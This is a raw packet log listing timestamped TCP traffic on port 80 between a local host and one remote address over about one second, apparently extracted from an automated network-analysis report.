Apr 15, 2025 11:33:47.757118940 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757129908 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757153988 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757195950 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757204056 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757209063 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757225990 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757237911 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757261992 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757276058 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757298946 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757311106 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757344961 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757352114 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757379055 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757411957 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757426977 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757446051 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757481098 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757497072 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757514954 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757548094 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757567883 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757580042 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757615089 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757627010 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757649899 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757683992 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757695913 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757718086 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757751942 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757766008 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757786036 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757822990 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757838964 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757857084 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757890940 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757903099 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757925034 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757962942 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757972956 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757997036 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758029938 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758054018 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758063078 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758095026 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758110046 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758131027 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758163929 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758176088 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758199930 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758234978 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758246899 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758269072 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758316040 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758320093 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758351088 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758384943 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758399010 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758419037 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758451939 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758476019 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758487940 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758522987 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758547068 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758557081 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758579016 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758589983 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758605003 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758624077 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758656979 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758662939 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758692026 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758708954 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758728027 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758769035 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758773088 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758807898 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758841038 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758855104 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758876085 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758913040 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758934021 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.758948088 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.758981943 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759002924 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759015083 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759028912 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759047985 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759068966 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759082079 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759115934 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759149075 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759151936 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759166002 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759192944 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759200096 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759233952 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759247065 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759280920 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759284019 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759315014 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759329081 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759349108 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759367943 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759399891 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759435892 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759471893 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759490013 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759520054 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759555101 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759563923 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759603977 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759608984 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759639025 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759649038 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759675980 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759685040 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759711027 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759722948 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759746075 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759762049 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759778976 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759805918 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759814024 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759830952 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759848118 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759891033 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759896040 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759939909 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759939909 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.759974957 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.759993076 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760008097 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760042906 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760050058 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760077953 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760111094 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760118961 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760145903 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760227919 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760274887 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760281086 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760318041 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760335922 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760353088 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760379076 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760387897 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760406017 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760422945 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760457039 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760481119 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760492086 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760524988 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760528088 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760560036 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760592937 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760608912 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760627985 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760643005 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760660887 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760684967 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760694027 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760715961 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760729074 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760762930 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760771990 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760783911 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760787010 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760819912 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760823965 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760853052 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760854959 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760865927 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760889053 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760900021 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760926008 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760941982 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760960102 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.760982990 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.760994911 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761007071 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761027098 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761044979 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761060953 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761094093 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761109114 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761132956 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761153936 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761164904 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761203051 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761210918 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761244059 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761276960 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761293888 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761316061 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761327982 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761363029 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761373043 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761396885 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761414051 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761430979 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761468887 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761482000 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761519909 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761555910 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761569977 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761590004 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761603117 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761625051 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761655092 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761698961 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761739969 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761754036 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761775017 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761790037 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761810064 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761821985 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761863947 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761871099 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761895895 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761923075 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761933088 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.761953115 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.761967897 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762001991 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762001991 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762036085 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762053967 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762069941 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762089014 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762105942 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762120008 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762140036 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762151003 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762186050 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762207985 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762218952 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762231112 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762253046 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762269974 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762285948 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762307882 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762320042 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762352943 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762365103 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762387037 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762419939 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762433052 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762454987 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762492895 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762502909 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762526989 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762561083 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762579918 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762597084 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762633085 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762651920 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762671947 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762706995 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762722015 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762741089 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762773991 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762789965 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762809992 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762859106 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762860060 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762896061 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762917042 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762928963 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762948036 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.762963057 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.762981892 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763008118 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763010025 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763031960 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763048887 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763066053 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763072014 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763092041 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763108969 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763124943 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763127089 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763139963 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763149977 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763155937 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763158083 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763173103 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763179064 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763190031 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763205051 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763211012 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763219118 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763221979 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763221979 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763228893 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763237000 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763242006 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763250113 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763252974 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763267040 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763284922 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763288021 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763300896 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763308048 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763320923 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763331890 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763338089 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763350964 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763355970 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763370991 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763386011 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763386965 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763403893 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.763406038 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763422966 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.763453007 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.850430965 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.850492001 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.850529909 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.850544930 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.850564957 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.850600958 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.850642920 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.850647926 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.850809097 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.850863934 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863315105 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863353968 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863388062 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863410950 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863424063 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863460064 CEST	80	49703	104.168.28.10	192.168.2.5
